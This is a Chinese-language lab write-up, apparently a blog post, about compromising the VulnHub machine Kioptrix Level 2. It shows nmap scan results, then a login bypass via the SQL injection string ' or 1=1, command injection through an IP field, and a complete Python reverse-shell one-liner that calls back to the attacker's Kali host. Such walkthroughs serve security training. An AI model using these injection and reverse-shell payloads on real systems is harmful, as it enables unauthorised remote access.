vulnhub之Kioptrix Level 2

最新推荐文章于 2024-07-19 07:54:07 发布

小鲤鱼不想吐泡泡了

最新推荐文章于 2024-07-19 07:54:07 发布

阅读量505

点赞数

文章标签：网络

本文链接：https://blog.youkuaiyun.com/li1136594919/article/details/131135094

版权

1、靶机导入

靶机的默认网络方式为桥接，而且改为NAT模式后会自动更改，grud模式也进不去，来来回回折腾了两个小时，都还没搞定IP分配的问题，一度想要删掉靶机。后来想别人的writeup中说不定有root密码，就发现了这一个帖子：

修改靶机Kioptrix: Level 1 的网络模式 - Jason_huawen - 博客园 (cnblogs.com)

非常感谢这位大佬的分享。

2、信息收集

2.1 开放端口扫描

tcp

└─$ cat tcp_open_port.nmap
# Nmap 7.93 scan initiated Fri Jun 9 19:56:14 2023 as: nmap --min-rate 10000 -p- -oA tcp_open_port 192.168.62.177
Nmap scan report for 192.168.62.177
Host is up (0.0029s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
443/tcp open https
601/tcp open syslog-conn
631/tcp open ipp
3306/tcp open mysql
MAC Address: 00:0C:29:FD:C5:48 (VMware)

# Nmap done at Fri Jun 9 19:56:20 2023 -- 1 IP address (1 host up) scanned in 6.06 seconds

udp

# Nmap 7.93 scan initiated Fri Jun 9 19:56:20 2023 as: nmap -sU --min-rate 10000 -p- -oA udp_open_port 192.168.62.177
Warning: 192.168.62.177 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.62.177
Host is up (0.015s latency).
Not shown: 65456 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
MAC Address: 00:0C:29:FD:C5:48 (VMware)

# Nmap done at Fri Jun 9 19:57:33 2023 -- 1 IP address (1 host up) scanned in 72.62 seconds

2.2 开放端口服务及其版本扫描

# Nmap 7.93 scan initiated Fri Jun 9 19:57:33 2023 as: nmap -sT -sV -O -sC -p22,80,111,443,601,631,3306, -oA open_port_service 192.168.62.177
Nmap scan report for 192.168.62.177
Host is up (0.00069s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 8f3e8b1e5863fecf27a318093b52cf72 (RSA1)
| 1024 346b453dbacecab25355ef1e43703836 (DSA)
|_ 1024 684d8cbbb65abd7971b87147ea004261 (RSA)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 601/tcp status
|_ 100024 1 1022/udp status
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5

|_ssl-date: 2023-06-09T08:48:15+00:00; -3h09m37s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after: 2010-10-08T00:10:47
|_http-server-header: Apache/2.0.52 (CentOS)
601/tcp open status 1 (RPC #100024)
631/tcp open ipp CUPS 1.1
|_http-title: 403 Forbidden
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:FD:C5:48 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

Host script results:
|_clock-skew: -3h09m37s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 9 19:57:59 2023 -- 1 IP address (1 host up) scanned in 26.15 seconds

2.3 nmap漏洞脚本扫描

2.4 80端口目录爆破

本来是要进行2.3和2.4的，但是我看到80端口开放，打开浏览器直接访问，然后看到登陆页面，进行sql万能注入语句 ' or 1=1,就进去了，然后看到经典的命令执行漏洞，直接getshell。做完这些漏洞脚本和目录爆破都还没结束，所以就不贴上来了。

3、getshell

①打开浏览器，输入靶机ip，发现是一个admin的登陆页面，使用sql万能注入语句' or 1=1-- + 直接登陆进去。

②然后就是经典的命令注入页面：

使用127.0.0.1 && id 进行测试，回显发现确实是命令注入漏洞。

③使用python语句进行反弹shell

127.0.0.1 &&python -c 'import os,socket,sys,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.62.156",443));[os.dup2(s.fileno(),fd)for fd in (0,1,2)];pty.spawn("/bin/bash");'

kali收到反弹shell